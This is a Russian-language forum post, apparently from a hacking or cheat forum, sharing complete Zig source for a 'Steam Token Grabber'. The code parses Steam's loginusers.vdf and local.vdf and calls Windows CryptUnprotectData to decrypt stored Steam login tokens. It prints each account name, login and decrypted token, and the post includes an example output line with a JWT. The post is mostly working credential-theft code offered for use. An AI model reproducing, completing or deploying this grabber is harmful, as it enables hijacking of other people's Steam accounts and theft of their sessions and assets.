Подписывайтесь на наш Telegram и не пропускайте важные новости! Перейти

Исходник Zig-STG | Steam Token Grabber

† 𝚊𝚜𝚙𝚑𝚢𝚡𝚎𝚊𝚗.𝚌𝚕𝚞𝚋 †
Начинающий
Начинающий
Статус
Оффлайн
Регистрация
27 Мар 2026
Сообщения
99
Реакции
5
Программа для декрипта токена авторизации аккаунта Steam.
Для получения токена программа должна быть запущена на ПК, с которого происходил вход в аккаунт (запуск должен производится от имени пользователя, с помощью которого токен был сгенерирован, для соответственно его правильной дешифровки)

Для сборки нужен Zig 0.15.2

Короче как-то так :stupid:

steam.zig:
Expand Collapse Copy
const std = @import("std");
const win = std.os.windows;

const Blob = extern struct { cbData: win.DWORD, pbData: [*]u8 };
extern "crypt32" fn CryptUnprotectData(*const Blob, ?*win.LPWSTR, *const Blob, ?*anyopaque, ?*anyopaque, win.DWORD, *Blob) callconv(.winapi) win.INT;
extern "kernel32" fn LocalFree(win.HLOCAL) callconv(.winapi) ?win.HANDLE;

pub const Entry = struct { name: []const u8, login: []const u8, salt: []const u8 };

pub fn getSalts(allocator: std.mem.Allocator) !std.ArrayListUnmanaged(Entry) {
    var entries = std.ArrayListUnmanaged(Entry){};
    const file = std.fs.openFileAbsolute("C:\\Program Files (x86)\\Steam\\config\\loginusers.vdf", .{}) catch return entries;
    defer file.close();
    const content = try file.readToEndAlloc(allocator, 1024 * 1024);
    defer allocator.free(content);

    var it = std.mem.tokenizeAny(u8, content, "\r\n\t ");
    var sid: ?[]const u8 = null;
    var name: ?[]const u8 = null;
    var login: ?[]const u8 = null;

    while (it.next()) |t| {
        const c = std.mem.trim(u8, t, "\"");
        if (c.len == 17 and std.ascii.isDigit(c[0])) sid = c;
        if (std.mem.eql(u8, c, "AccountName")) name = std.mem.trim(u8, it.next() orelse "", "\"");
        if (std.mem.eql(u8, c, "PersonaName")) login = std.mem.trim(u8, it.next() orelse "", "\"");

        if (sid != null and name != null and login != null) {
            try entries.append(allocator, .{
                .name = try allocator.dupe(u8, name.?),
                .login = try allocator.dupe(u8, login.?),
                .salt = try std.fmt.allocPrint(allocator, "user_{s}", .{sid.?[sid.?.len - 6 ..]}),
            });
            sid = null; name = null; login = null;
        }
    }
    return entries;
}

pub fn decrypt(alloc: std.mem.Allocator, hex: []const u8, salt: []const u8) ![]u8 {
    const len = hex.len / 2;
    const bin = try alloc.alloc(u8, len);
    defer alloc.free(bin);

    for (0..len) |i| bin[i] = std.fmt.parseInt(u8, hex[i * 2 .. i * 2 + 2], 16) catch return error.DecryptionFailed;

    var out: Blob = undefined;
    const in = Blob{ .cbData = @intCast(len), .pbData = bin.ptr };
    const ent = Blob{ .cbData = @intCast(salt.len), .pbData = @constCast(salt.ptr) };

    if (CryptUnprotectData(&in, null, &ent, null, null, 0, &out) == 0) return error.DecryptionFailed;
    defer _ = LocalFree(out.pbData);

    return alloc.dupe(u8, out.pbData[0..out.cbData]);
}


main.zig:
Expand Collapse Copy
const std = @import("std");
const ss = @import("steam.zig");

pub fn main() !void {
    var gpa = std.heap.GeneralPurposeAllocator(.{}){};
    defer _ = gpa.deinit();
    const alloc = gpa.allocator();

    var accounts = try ss.getSalts(alloc);
    defer {
        for (accounts.items) |a| {
            alloc.free(a.name);
            alloc.free(a.login);
            alloc.free(a.salt);
        }
        accounts.deinit(alloc);
    }

    const env = try std.process.getEnvVarOwned(alloc, "USERNAME");
    defer alloc.free(env);

    const path = try std.fmt.allocPrint(alloc, "C:\\Users\\{s}\\AppData\\Local\\Steam\\local.vdf", .{env});
    defer alloc.free(path);

    const file = std.fs.openFileAbsolute(path, .{ .mode = .read_only }) catch return;
    defer file.close();

    const content = try file.readToEndAlloc(alloc, 1024 * 1024);
    defer alloc.free(content);

    var i: usize = 0;
    while (i < content.len) : (i += 1) {
        if (!std.ascii.isHex(content[i])) continue;
        const start = i;
        while (i < content.len and std.ascii.isHex(content[i])) i += 1;
        const token = content[start..i];

        for (accounts.items) |a| {
            for ([_][]const u8{ a.name, a.salt }) |s| {
                if (ss.decrypt(alloc, token, s)) |dec| {
                    defer alloc.free(dec);
                    std.debug.print("{s}:{s}:{s}\n", .{ a.login, a.name, dec });
                    return;
                } else |_| {}
            }
        }
    }
}


Output example:
Expand Collapse Copy
// AccountName (nickname), PersonaName (login), token

olo:asphyxean:eyAidHlwIjogIkpXVCIsICJhbGciOiAiRWREU0EiIH0.eyA...YBw

Пожалуйста, авторизуйтесь для просмотра ссылки.
 

Вложения

Последнее редактирование:
Назад
Сверху Снизу